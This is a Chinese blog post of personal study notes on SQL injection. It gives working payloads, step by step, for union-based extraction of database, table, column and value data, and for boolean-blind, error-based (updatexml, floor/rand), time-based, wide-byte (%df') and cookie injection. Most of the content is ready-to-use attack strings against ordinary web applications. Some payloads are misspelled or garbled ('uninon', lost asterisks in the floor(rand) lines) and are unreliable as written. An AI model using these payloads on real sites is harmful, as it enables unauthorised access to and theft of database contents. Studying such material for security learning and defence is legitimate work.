笔记: SQL注入

一、union联合查询

1.先判断有无数字型注入点
?id=1 and 1=1
?id=1 and 1=2
若显示内容不同则存在注入点,若相同,
再判断有无字符型注入点
?id=1’
报错则为字符型注入

2.猜测注入点数量
?id=1 order by 2

3.查询显示字段
?id=1 and 1=2 uninon select 1,2
找出显示出错处

4.查询当前数据库名
?id=1 and 1=2 union select 1,database()

5.查询所有数据库名
?id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata

6.查询数据库里的所有表名
?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=数据库名

7.查询特定表的所有字段名
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=数据库名 and table_name=表名

8.查询值
?id=1 and 1=2 union select 1,字段名 from 表名

二、布尔盲注

1.查看现象,能报错,但没有报错信息,正确查询也显示不了查询内容就属于布尔盲注,只存在两种状态,对或错;
2.由页面的两种不同返回的状态来判定我们的闭合规则;
3.为了方便,我们这里假设返回正确用“yes”,返回错误用“no”来表示这两种状态
4.找到闭合规则后,我们在闭合规则里面 and 1=1 和 and 1=2 测试一下,看看最后返回是不是两种状态;
5.布尔盲注要用到length()和substr()语句,用两种状态来猜解数据库、表名等的长度和正确字母;
6.先用 and length(database())>2 来猜数据库的长度,使用的是二分法;
7.再用 and substr(database(),1,1)=‘t’ 来确定第一个字母,可用burp跑,26个字母,哪个字母返回yes则代表第一个字母就是它;
and substr(database(),2,1)=‘t’ 代表当前数据库的第二个字母;
8.最后结合长度,成功的将数据库猜解出来;
9.后面的操作跟union注入的步骤差不多了。

三、报错注入

1.注入点有报错信息
2.找到闭合规则
3.updatexml函数
and updatexml(1,concat(0x7e,(select database()),0x7e),1)
4.count(*) floor(rand(0)2)
and select 1 from (select count(
),concat((database()),floor (rand(0)2))x from information_schema.tables group by x)
或 select count(
) from information_schema.tables group by concat((database()),floor (rand(0)*2)

四、时间盲注

不管对错只返回一种信息,用sleep()可以延迟执行
sleep() 、 get_lock()

五、宽字节注入

单双引号被转义成反斜杠,但数据库用的是GBK编码
%df%5c 是汉字
%df’ and 1=2 union select database()

六、COOKIE注入

1.寻找形如“.asp?id=xx”类的带参数的URL。
2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
3.清空浏览器地址栏,输入“javascript:alert(document.cookie=“id=”+escape(“xx”));”,按Enter键后弹出一个对话框,内容是“id=xx”,
然后用原来的URL刷新页面,如果显示正常,说明应用是用Request(“id”)这种方式获取数据的。
4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie=“id=”+escape(“xx and 1=1”));”
“javascript:alert(document.cookie=“id=”+escape(“xx and 1=2”));”。
和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。
5.使用常规注入语句进行注入即可。

总结:本文章为个人整理笔记,如有错误,欢迎各位师傅指正

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值